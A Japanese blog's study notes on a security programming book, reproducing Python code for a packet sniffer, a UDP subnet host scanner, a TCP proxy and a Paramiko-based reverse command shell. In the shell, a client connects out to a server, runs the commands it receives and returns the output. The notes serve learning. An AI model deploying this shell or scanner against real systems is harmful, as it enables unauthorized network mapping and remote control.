ハッカーへのマイルストーン

ハッカーになるために、日々学んだことを記し、マイルストーンとしていきたい。

セキュリティプログラミング Day4

3日坊主からの脱却の4日目

第3章 ネットワーク:rawソケットと盗聴

この章はネットワークスニッファーについて。有名どころだとwiresharkとかscapyで通信を監視できるけど、ネットワーク通信を観測したりでコードしたりするスニッファーを即席で作ってみようって章。

低レベルネットワーク情報にアクセスするためにrawソケットを使うけども、IPレイヤーより低レイヤーのイーサネットの情報は「詳細 イーサネット 第2版」買ってって。 O'reillyってなんでこんな詳しいんやろ。 O'reillyの本全部理解できたら最強。。。ゼロデイには対応できんかな。。。でもある程度強くなれるな。精進。

UDPを使ってホスト発見

標的ネットワークで動作中のホストを発見するUDPベースのスニッファーの作成。

ほとんどのOSでは、特定のIPアドレスでホストが稼働しているか判断するために、閉じているUDPポートにパケットが届いたときの処理方法が共通しているらしい。

著作権大丈夫かなってくらい本書そのまましか書いてないけど、引っかかったら即停止してくださいね。

通常、UDPデータグラムをホスト上の閉じたポートに送る。→当該ポートに到達できないことを示すICMPメッセージが返信される。→もしUDPデータグラムに対する応答を受信できなければ、ホストは存在しないと考えられる。→逆にICMPメッセージを受信できるならばホストが稼働していることを意味する。

UDPデータグラムってのはUDPパケットと同義でフラグメンテーションが行われていない状態のデータの転送単位を指す。 フラグメンテーションはコンピュータ上のメモリの管理上の一単位が、内部断片化や外部断片化でそのままでは有効利用できない状態になることを言う。

詳しくはwikiで調べて

より多くの稼働中のホストを調べるには、消去法的に使われていないか使われている可能性の低いUDPポートを選択することが大切だと。

UDP???

あれ、てかなんでUDPなの? って思ったそこのあなた!僕も思いましたよ。

本書に書いてあるけど理由は、サブネット全体にメッセージを送り、そのICMP レスポンスを待つことに関して、オーバーヘッドが存在しないから、だって。 オーバーヘッドは、通信で言うと送りたいもの以外についてくる制御用のデータとそれを処理、伝送するためにかかる余計な負荷、時間のこと。 サブネットってよくきくけど、これはネットワークを分割して小さなネットワークに分けた一つ一つのことを言う。 サブネットマスクってよく聞くけど、これはIPアドレスにはクラスっていう考え方があって、でも現在のIPアドレスをクラスによってわけることは無理なので、代わりにサブネットマスクを使ってIPアドレス内のネットワーク部とホスト部を分類してるってやつ。ネットワーク部は1でホスト部は0 IPアドレスだけじゃなくてネットワークアドレスやブロードキャストアドレスにも適用できるし、2進法じゃなくてプレフィックスっていう書き方もできて0を省略して書けるらしい!

とにかく無駄な処理や時間がないってことでUDPを選びましたってことですねー。

これから説明するスキャナーの拡張性としては発見したすべてのホストに対してnmapによる完全なポートスキャンを開始させる処理を追加して、ポートスキャンすることでへっけんした各ホストについてネットワーク経由の攻撃が実行可能かを判断できるようになる。

パケット盗聴(Windows, Linux

windowslinuxではrawソケットへのアクセス方法が若干異なるので、動作しているプラットフォームを判定することにする。 Windowsではネットワークインターフェースのプロミスキャスモードを有効にするために、ioctlと呼ばれるソケット入出力制御用の仕組みを通じて、いくつかのフラグを追加で設定する必要がある。

ioctl(input/output control: 入出力制御) 主にUNIXライクなオペレーティングシステム上で、アプリケーションがデバイスドライバを制御したり、デバイスドライバと通常のデータの読み書きの流れの外で通信するために用意されたシステムコールのこと(wikiより) ユーザースペースのプログラムがカーネルモードのコンポーネントとやり取りするための仕組み。

結構重要な仕組みですね。

コードを見てみよう

sniffer.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import os

# リッスンするホストのIPアドレス
host = "192.168.0.100"

# rawソケットを作成しパブリックなインタフェースにバインド
if os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))

# キャプチャー結果にIPヘッダーを含めるように指定
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# Windowsの場合はioctlを使用してプロミスキャスモードを有効化
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

# 単一パケットの読み込み
print sniffer.recvfrom(65565)

# Windowsの場合はプロミスキャスモードを無効化
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

IPPROTO_IPはrawソケットを作成するのに必要。 sniffer.bindのところまででrawソケットを作成しパブリックなインターフェースにバインドしている。

ドキュメントのスクリプトと一緒ですね。 気を付けるべきことは、windowsでもlinuxでもプロミスキャスモードを使うときはadminもしくはroot権限がないといけない。プロミスキャスモードでは、宛先が自ホストではないパケットも含め、ネットワークカードで受信している全パケットの盗聴が可能になる。すご。

あとは書いてある通り。

IPレイヤーのデコード

IPヘッダー部分には、プロトコルタイプ(TCP,UDP,ICMP)、送信元IPアドレスや宛先IPアドレスといった情報が入っている。そのためにデコードしてみる。

sniffer_ip_header_decode.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket

import os
import struct
from ctypes import *

# リッスンするホストのIPアドレス
host   = "192.168.0.100"

# IPヘッダー
class IP(Structure):
    _fields_ = [
        ("ihl",           c_uint8, 4),
        ("version",       c_uint8, 4),
        ("tos",           c_uint8),
        ("len",           c_uint16),
        ("id",            c_uint16),
        ("offset",        c_uint16),
        ("ttl",           c_uint8),
        ("protocol_num",  c_uint8),
        ("sum",           c_uint16),
        ("src",           c_uint32),
        ("dst",           c_uint32)
    ]

まずは型の定義、ctypesを使ってCでデータ型を定義している。 , 4はビットフィールドが4ビットであることを意味している。 ビットフィールド:ブーリアン型のフラグをコンパクトなビットの並びとして格納する手法。

この時受信したバッファーの最初の20バイトを扱いやすいようにIPヘッダーにマップしている。

    def __new__(self, socket_buffer=None):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer=None):

        # プロトコルの定数値を名称にマッピング
        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

        # 可読なIPアドレスの値に変換
        self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))

        # 可読なプロトコル名称に変換
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)

newメソッドは、生のバッファーを受け取り、それをもとに構造体を形成している。 initメソッドは、利用されているプロトコルIPアドレスを、人間が読みやすい形式にしている。 このときすでにnewメソッドによるバッファーの処理は完了している。

# 前の例と同様の処理
if os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

ここはスニッファーの部分

try:

    while True:

        # パケットの読み込み
        raw_buffer = sniffer.recvfrom(65565)[0]

        # バッファーの最初の20バイトからIP構造体を作成
        ip_header = IP(raw_buffer[0:20])

        # 検出されたプロトコルとホストを出力
        print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

# Ctrl-Cを処理
except KeyboardInterrupt:

    # Windowsの場合はプロミスキャスモードを無効化
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

ここは新たに作られたIP構造体を使い、継続的にパケットを読んで解析するロジックを組み込んでいる。

パケットの読み込み→最初の20バイトをIP構造体の初期化処理に渡す→キャプチャーされた情報を単に出力する。

で、最後はちゃんとプロミスキャスモードを無効化している。(Windowsの場合)

実行するとパケットが読み取れるはず。

ICMPのデコード

今までのスキャナーは閉じたポートに対してUDPデータグラムを送信することでICMPレスポンスを発生させていた。 じゃあ次は、ICMPレスポンスをデコードしてみる。

ICMPメッセージの内容はタイプ、コード、チェックサムという3つの共通のフィールドを持っている。 タイプとコードのフィールドは受信したICMPメッセージの種類を表していて、これでICMPメッセージを正確にデコードする方法がわかる。

スキャナーにはタイプがあるらしく、これは3らしい??? タイプ3のICMPメッセージは宛先到達不可能クラスに該当するんだって。 で、コードも3なので、こそのときはポート到達不可能エラーが発生したことを意味するらしい。

http://www.infraexpert.com/info/5.0adsl.htm

一覧表はここにある。

宛先到達不可能メッセージの場合、最初の8ビットがタイプで今回はタイプ3、次の8ビットにはICMPのコード3が格納されている。残り16ビットはヘッダーチェックサム。 このICMPメッセージがホストから返信される際、その元となったメッセージのIPヘッダーとデータ部分の最初の8バイトがICMPメッセージに含まれる。 そしてもとのデータグラムの先頭8バイトと照合することで、スキャナーにより生成されたICMPレスポンスかどうかを確認できる。

ここで、スニッファーにコードを追加する。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket

import os
import struct
from ctypes import *

# リッスンするホストのIPアドレス
host   = "192.168.0.100"

# IPヘッダー
class IP(Structure):
    _fields_ = [
        ("ihl",           c_uint8, 4),
        ("version",       c_uint8, 4),
        ("tos",           c_uint8),
        ("len",           c_uint16),
        ("id",            c_uint16),
        ("offset",        c_uint16),
        ("ttl",           c_uint8),
        ("protocol_num",  c_uint8),
        ("sum",           c_uint16),
        ("src",           c_uint32),
        ("dst",           c_uint32)
    ]

    def __new__(self, socket_buffer=None):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer=None):

        # プロトコルの定数値を名称にマッピング
        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

        # 可読なIPアドレスの値に変換
        self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))

        # 可読なプロトコル名称に変換
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)

class ICMP(Structure):

    _fields_ = [
        ("type",         c_uint8),
        ("code",         c_uint8),
        ("checksum",     c_uint16),
        ("unused",       c_uint16),
        ("next_hop_mtu", c_uint16)
        ]

    def __new__(self, socket_buffer):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer):
        pass

# 前の例と同様の処理
if os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)


try:

    while True:

        # パケットの読み込み
        raw_buffer = sniffer.recvfrom(65565)[0]

        # バッファーの最初の20バイトからIP構造体を作成
        ip_header = IP(raw_buffer[0:20])

        # 検出されたプロトコルとホストを出力
        print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

        # ICMPであればそれを処理
        if ip_header.protocol == "ICMP":

            # ICMPパケットの位置を計算
            offset = ip_header.ihl * 4
            buf = raw_buffer[offset:offset + sizeof(ICMP)]

            # ICMP構造体を作成
            icmp_header = ICMP(buf)

            print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)

# Ctrl-Cを処理
except KeyboardInterrupt:

    # Windowsの場合はプロミスキャスモードを無効化
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

ICMP構造体の定義を追加。メインのパケット受信ループでは、ICMPパケットの受信を確認。 そのあと、生のパケットにおけるICMP本体のオフセットを計算。 そして、ICMP構造体を作成した後、そのタイプとコードのフィールドを出力している。

オフセットの計算は、IPヘッダーのihlフィールドに基づいて計算される。このフィールドはIPヘッダーに含まれる32ビットワードの数を示すので、4倍することでIPヘッダーのサイズを知ることができる、サイズからネットワークレイヤーの開始位置がわかる。

http://www.cresc.co.jp/tech/network/NET_TUTORIAL/Section_314.htm

ここも詳しいけどいまいちよくわかりませぬ。

ihlはIP header lengthの略で、IPヘッダ長を4で割った値(32ビットワード)が入る。通常はIPヘッダオプションを除いて5(20バイト)らしい。

最後にnetaddrライブラリを使ってホスト発見用のスキャンをサブネット全体に対して実施している。

netaddr

netaddrモジュールを用いると、サブネットとアドレスを簡単に処理することが可能になる。192.168.0.0/24(192.168/24)といったサブネットマスクも入力として受け付けている。 ネットワーク全体にパケットを送ることも可能。 https://pypi.python.org/pypi/netaddr

これを用いて作成する。

scanner.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket

import os
import struct
from ctypes import *

import threading
import time
from netaddr import IPNetwork,IPAddress

# リッスンするホストのIPアドレス
host   = "192.168.0.100"

# 標的のサブネット
subnet = "192.168.0.0/24"

# ICMPレスポンスのチェック用マジック文字列
magic_message = "PYTHONRULES!"

# UDPデータグラムをサブネット全体に送信
def udp_sender(subnet,magic_message):
    time.sleep(5)
    sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    for ip in IPNetwork(subnet):

        try:
            sender.sendto(magic_message,("%s" % ip,65212))
        except:
            pass

PYTHONRULES!は受信したレスポンスがこのツールが送信したUDPパケットに対するものかどうかをチェックするマジック文字列(シグネチャ

udp_sender関数はサブネットのすべてのIPアドレスを列挙して、各IPアドレスUDPデータグラムを送出する。

# IPヘッダー
class IP(Structure):
    _fields_ = [
        ("ihl",           c_uint8, 4),
        ("version",       c_uint8, 4),
        ("tos",           c_uint8),
        ("len",           c_uint16),
        ("id",            c_uint16),
        ("offset",        c_uint16),
        ("ttl",           c_uint8),
        ("protocol_num",  c_uint8),
        ("sum",           c_uint16),
        ("src",           c_uint32),
        ("dst",           c_uint32)
    ]

    def __new__(self, socket_buffer=None):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer=None):

        # プロトコルの定数値を名称にマッピング
        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

        # 可読なIPアドレスの値に変換
        self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))

        # 可読なプロトコル名称に変換
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)

class ICMP(Structure):

    _fields_ = [
        ("type",         c_uint8),
        ("code",         c_uint8),
        ("checksum",     c_uint16),
        ("unused",       c_uint16),
        ("next_hop_mtu", c_uint16)
        ]

    def __new__(self, socket_buffer):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer):
        pass

# 前の例と同様の処理
if os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

ここまでは同じ

# パケットの送信開始
t = threading.Thread(target=udp_sender,args=(subnet,magic_message))
t.start()

try:

    while True:

        # パケットの読み込み
        raw_buffer = sniffer.recvfrom(65565)[0]

        # バッファーの最初の20バイトからIP構造体を作成
        ip_header = IP(raw_buffer[0:20])

        # 検出されたプロトコルとホストを出力
        #print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

        # ICMPであればそれを処理
        if ip_header.protocol == "ICMP":

            # ICMPパケットの位置を計算
            offset = ip_header.ihl * 4
            buf = raw_buffer[offset:offset + sizeof(ICMP)]

            # ICMP構造体を作成
            icmp_header = ICMP(buf)

            #print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)

            # コードとタイプが3であるかチェック
            if icmp_header.code == 3 and icmp_header.type == 3:

                # 標的サブネットのホストかを確認
                if IPAddress(ip_header.src_address) in IPNetwork(subnet):

                    # マジック文字列を含むか確認
                    if raw_buffer[len(raw_buffer)-len(magic_message):] == magic_message:
                        print "Host Up: %s" % ip_header.src_address

# Ctrl-Cを処理
except KeyboardInterrupt:

    # Windowsの場合はプロミスキャスモードを無効化
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

udp_senderはメインの中で別のスレッドとして起動されている。これはICMPレスポンスの受信の妨げにならないように。

このあとのループはパケットでコード用。

期待するICMPメッセージを発見すると、ICMPレスポンスが標的サブネットから来たものかを確認。そして最終チェックとして、ICMPレスポンスにマジック文字列が含まれているかを確かめる。

チェックをすべてクリアすれば、ICMPメッセージの送信元IPアドレスを出力する。

んー単に最初から出力するだけじゃなくて、正確に求めるために文字列用意したんですねー。

でもなんでコードとタイプは3なんだろう。たまたま、該当するものを探しただけか。unreachableなものを探すってよくわかんない。 あ、destination unreachableは宛先がわからなくて届かないだけで、一応ルーティングテーブルまでは載ってるらしいですねー。 port unreachableはサーバーまでたどり着いたけど、ポートが解放されてないらしい。 つまりどっちもICMPレスポンス自体は受信できてるので、どっから来たのかは判別できるってことか。 そりゃコードもタイプもわかるんだから当たり前か。てへぺろ

最後に

だんだん難しくなってきて、よくわかんないことが多いので、ひとまず休憩にしてpythonを学びなおします。 一応、進めるけど深く理解するには毎日は厳しいので、代わりに他のを挙げる。 競プロ始めて(やったことない)、C++がいいのかなー、でもpythonで。 あとはネットワークの勉強ですねー。各自調べて実装のほうがいいのかも。 今は実装から調べてるのでどうにも頭に入らない。 とりあえずマスタリングTCP/IPマスターしようぜ。 APとろうぜ。ってことでばいちゃ。

サイバーセキュリティプログラミング Day3

3日坊主にはならない3日目

TCPロキシーの構築

そもそもTCPロキシーってなに、ってとこからかな。 プロキシって、WWWからのリクエストを経由して代わりに行う代理サーバーで、Webブラウザはプロキシーにリクエストを投げてデータを受け取ればよく、サーバーはプロキシーからリクエストを受けて返せばいい。 ネットワークトラフィックの軽減やセキュリティを意図して設定されたもので、アプリケーションゲートウェイともいう。 プロキシーサーバーがクライアント、インターネットサーバーとのコネクションをそれぞれ確立するいわば中間的な立ち位置。 トランスポート層からアプリケーション層の間の階層で、様々な制御を行う。

実際のスクリプト

長いのでここも関数ごとに理解。

proxy.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import socket
import threading

def server_loop(local_host, local_port, remote_host, remote_port, receive_first):

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        server.bind((local_host, local_port))
    except:
        print "[!!] Failed to listen on %s:%d" % (local_host, local_port)
        print "[!!] Check for other listening sockets or correct permissions."
        sys.exit(0)

    print "[*] Listening on %s:%d" % (local_host, local_port)

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # ローカル側からの接続情報を表示
        print "[==>] Received incoming connection from %s:%d" % (addr[0],addr[1])

        # リモートホストと通信するためのスレッドを開始
        proxy_thread = threading.Thread(
                target=proxy_handler,
                args=(client_socket,remote_host,remote_port,receive_first))

        proxy_thread.start()

def main():

    # コマンドライン引数の解釈
    if len(sys.argv[1:]) != 5:
        print "Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
        print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
        sys.exit(0)

    # ローカル側での通信待受を行うための設定
    local_host  = sys.argv[1]
    local_port  = int(sys.argv[2])

    # リモート側の設定
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    # リモート側にデータを送る前にデータ受信を行うかどうかの指定
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    # 通信待機ソケットの起動
    server_loop(local_host,local_port,remote_host,remote_port,receive_first)

server_loop関数は通信大気ソケットの起動の役割で、今までのままなのでよくて、コマンドライン引数を受け取って接続を処理する。sys.argvのところ で、proxy_handler関数がthread.Threadの引数に指定されているんですが、thread= のところはrun() を呼び出す部分だったので、ここがスレッドの活動を示してます。

新規の接続要求が来たら、proxy_handlerでその接続に対する処理を実施するってことね。

proxy_handler関数

これはやりとりされるデータストリームの送受信にかかわる全処理を担っている関数。

def proxy_handler(client_socket, remote_host, remote_port, receive_first):

    # リモートホストへの接続
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host,remote_port))

    # 必要ならリモートホストからデータを受信
    if receive_first:

        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)

        # 受信データ処理関数にデータ受け渡し
        remote_buffer = response_handler(remote_buffer)

        # もしローカル側に対して送るデータがあれば送信
        if len(remote_buffer):
            print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
            client_socket.send(remote_buffer)
    # ローカルからのデータ受信、リモートへの送信、ローカルへの送信
    # の繰り返しを行うループ処理の開始
    while True:

        # ローカルホストからデータ受信
        local_buffer = receive_from(client_socket)

        if len(local_buffer):

            print "[==>] Received %d bytes from localhost." % len(local_buffer)
            hexdump(local_buffer)

            # 送信データ処理関数にデータ受け渡し
            local_buffer = request_handler(local_buffer)

            # リモートホストへのデータ送信
            remote_socket.send(local_buffer)
            print "[==>] Sent to remote."

        # 応答の受信
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):

            print "[<==] Received %d bytes from remote." % len(remote_buffer)
            hexdump(remote_buffer)

            # 受信データ処理関数にデータ受け渡し
            remote_buffer = response_handler(remote_buffer)

            # ローカル側に応答データを送信
            client_socket.send(remote_buffer)

            print "[<==] Sent to localhost."

        # ローカル側・リモート側双方からデータがこなければ接続を閉じる
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print "[*] No more data. Closing connections."

            break

if receive_first: のところは、リモート側から先にデータを受け取る必要があるかの確認。というのも、FTPサーバーだったりすると、サーバー側からのクラインアント側に対するデータ送信によって通信が始まるサーバデーモンが存在するらしいので必要だということである。

そのあと、後述のreceive_from関数を呼び出して、hex_dumpで16進数ダンプを整形し、データの表示を行う。

で、受信データ処理関数であるresponse_handler関数にデータを受け渡す パケットの書き換えだったり、ファジングテストの実施、認証における問題のテストなど、リモートへの送信パケットに対する書き換えなども行えるらしい。 ファジングってのはソフトウェアの不具合を発見するためのテスト手法。ペネトレーションテストとはちょっと違うらしい。 リモートの送信パケットに対する書き換えはrequest_handler関数がやってくれる。

最後にリモート側から受け取ったデータをローカルのクライアントに送信する。で、リモート側、ローカル側双方からデータを受け取らなくなるまで継続する。

さすがすべての中継だけあって、やること多いなー。

hex_dump関数

パケットデータを16進数表記およびASCIIの表示可能文字で画面に出力する関数。

# 16進数ダンプを整形して表示する関数
# 以下のURLのコメント欄から取得したコード
# (折り返しバイト数の指定に関わるデフォルト引数の値のみ修正)
# http://code.activestate.com/recipes/142812-hex-dumper/
def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, unicode) else 2

    for i in xrange(0, len(src), length):
       s = src[i:i+length]
       hexa = b' '.join(["%0*X" % (digits, ord(x))  for x in s])
       text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.'  for x in s])
       result.append( b"%04X   %-*s   %s" % (i, length*(digits + 1), hexa, text) )

    print b'\n'.join(result)

receive_from関数

リモート側からのデータ受信、ローカル側からのデータ受信の両方に用いる。

def receive_from(connection):

    buffer = ""

    # タイムアウト値を2秒に設定(ターゲットに応じた調整が必要)
    connection.settimeout(2)

    try:
        # データを受け取らなくなるかタイムアウトになるまでデータを受信して
        # bufferに格納
        while True:
            data = connection.recv(4096)

            if not data:
                break

            buffer += data

    except:
        pass

    return buffer

# リモート側のホストに送る全リクエストデータの改変
def request_handler(buffer):
    # パケットの改変を実施
    return buffer


# ローカル側のホストに送る全レスポンスデータの改変
def response_handler(buffer):
    # パケットの改変を実施
    return buffer

main()

receive_from関数のタイムアウト値は外国への通信や通信損失の多いネットワークとの通信だと厳しいらしいので、変えたほうがいいって。 残りはデータを受け取らなくなるまでデータを受信する部分。

request_handler関数とresponse_handler関数は目的に応じて送信データ・受信データの各々に対して操作を行うためのものらしいが、いまいちよくわからかった。(わかったら書き換えます)パケットの改変っていうけどそのまま返してるだけなのでは、、、と思うのは僕だけですか。。。勉強不足です。

ssh通信プログラムの作成

ボッティング、通信を行うのはできたけども、その通信が検知されてしまったら元も子もないよね。ってことで通信を暗号化しまーす。 ここではセキュアシェル(SSH)を用いて通信をトンネリングする。

pythonではrawソケットを用いてsshサーバー/クライアントが作れるらしい!

でも、本書ではParamikoっていうライブラリを使うんだってー。 これでSSH2プロトコルを簡単に使うことができる!

ちなみにドキュメントはこちら http://docs.paramiko.org/en/2.4/index.html

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    #client.load_host_keys('/home/justin/.ssh/known_hosts')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.exec_command(command)
        print ssh_session.recv(1024)
    return

ssh_command('192.168.223.136', 'justin', 'lovesthepython','id')

Pramikoではパスワード認証の代わりに鍵を用いた認証を行うこともできるらしい。コメントアウトした部分がそれだ。 justinってなってるのは本書の著者がjustinさんだから。 でも今回はユーザー名とパスワードを用いた認証を行う。(本当はSSH鍵を使ったほうがいい)

client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) では、接続しているSSHサーバーのSSH鍵を受け入れるというポリシーを設定している。それからサーバーに接続。 paramiko.AutoAddPolicy()は

Policy for automatically adding the hostname and new host key to the local HostKeys object, and saving it. This is used by SSHClient.

ssh_session.exec_command(command) では、接続が確立されたとき、ssh_command関数の引数として受け取ったコマンドを実行する。 ちなみに最後に書いてあるものが引数だ。

WindowsSSH接続

WindowsSSHサーバーが備えられていないことがほぼなので、独自に作ったSSHサーバーからSSHクライアントにコマンドを送るように作り替えよう!というところ

bh_sshRcmd.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    #client.load_host_keys('/home/justin/.ssh/known_hosts')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        # バナー情報読み取り
        print ssh_session.recv(1024)
        while True:
            # SSHサーバからコマンド受け取り
            command = ssh_session.recv(1024)
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception,e:
                ssh_session.send(str(e))
        client.close()
    return

ssh_command('192.168.223.251', 'justin', 'lovesthepython', 'ClientConnected')

最初の部分は先ほどと同様。 while True: 以下から説明する。 スクリプト中にも書いてある通り、SSHサーバーからコマンドを受け取り、コマンドを表示している。

最終行の、最初に送るコマンドの部分がClientcConnectedになっている。これは下記で説明する。

次にSSHサーバーを作る。 これは、既に作成したSSHクライアントの接続を受け付けるプログラム。

bh_sshserver.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import paramiko
import threading
import sys


# Paramikoのデモファイルに含まれている鍵ファイルを利用
host_key = paramiko.RSAKey(filename='test_rsa.key')

class Server (paramiko.ServerInterface):
    def _init_(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if (username == 'justin') and (password == 'lovesthepython'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print '[+] Listening for connection ...'
    client, addr = sock.accept()
except Exception, e:
    print '[-] Listen failed: ' + str(e)
    sys.exit(1)
print '[+] Got a connection!'

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException, x:
        print '[-] SSH negotiation failed.'
    chan = bhSession.accept(20)
    print '[+] Authenticated!'
    print chan.recv(1024)
    chan.send('Welcome to bh_ssh')
    while True:
         try:
             command= raw_input("Enter command: ").strip('\n')
             if command != 'exit':
                 chan.send(command)
                 print chan.recv(1024) + '\n'
             else:
                 chan.send('exit')
                 print 'exiting'
                 bhSession.close()
                 raise Exception ('exit')
         except KeyboardInterrupt:
             bhSession.close()
except Exception, e:
    print '[-] Caught exception: ' + str(e)
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

この部分は何回もみたけど、ソケットリスナーの立ち上げの部分っていうらしい。

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print '[+] Listening for connection ...'
    client, addr = sock.accept()
except Exception, e:
    print '[-] Listen failed: ' + str(e)
    sys.exit(1)
print '[+] Got a connection!'

サーバークラスでソケットリスナーのSSH化をする。

コードの詳しい部分はドキュメントを読んだほうがいいね。適宜読んでますが説明がめんどいなう。

次のtryで認証方法を設定している。これは最初のデモファイルに含まれている鍵ファイルを使っているので鍵認証かな。

で、そのあとクライアントが認証を通ったら、接続したことを通知するClientConnectedという文字列がサーバー側に送られてくる。bhSession.accept(20)で確認ね。 そしたらWelcome to bh_sshという文字列をクライアント側に送り返しまっす。

最後はbh_sshserver側で入力したコマンドがbh_sshRcmd側に送信され、実行される。実行結果はサーバーのほうに送り返される。

やったー。ここまで終わり。(たぶん全部理解できてないのでまた見直す) でも先に進まないと終わらないし勉強続かないので。。。

SSHトンネリング

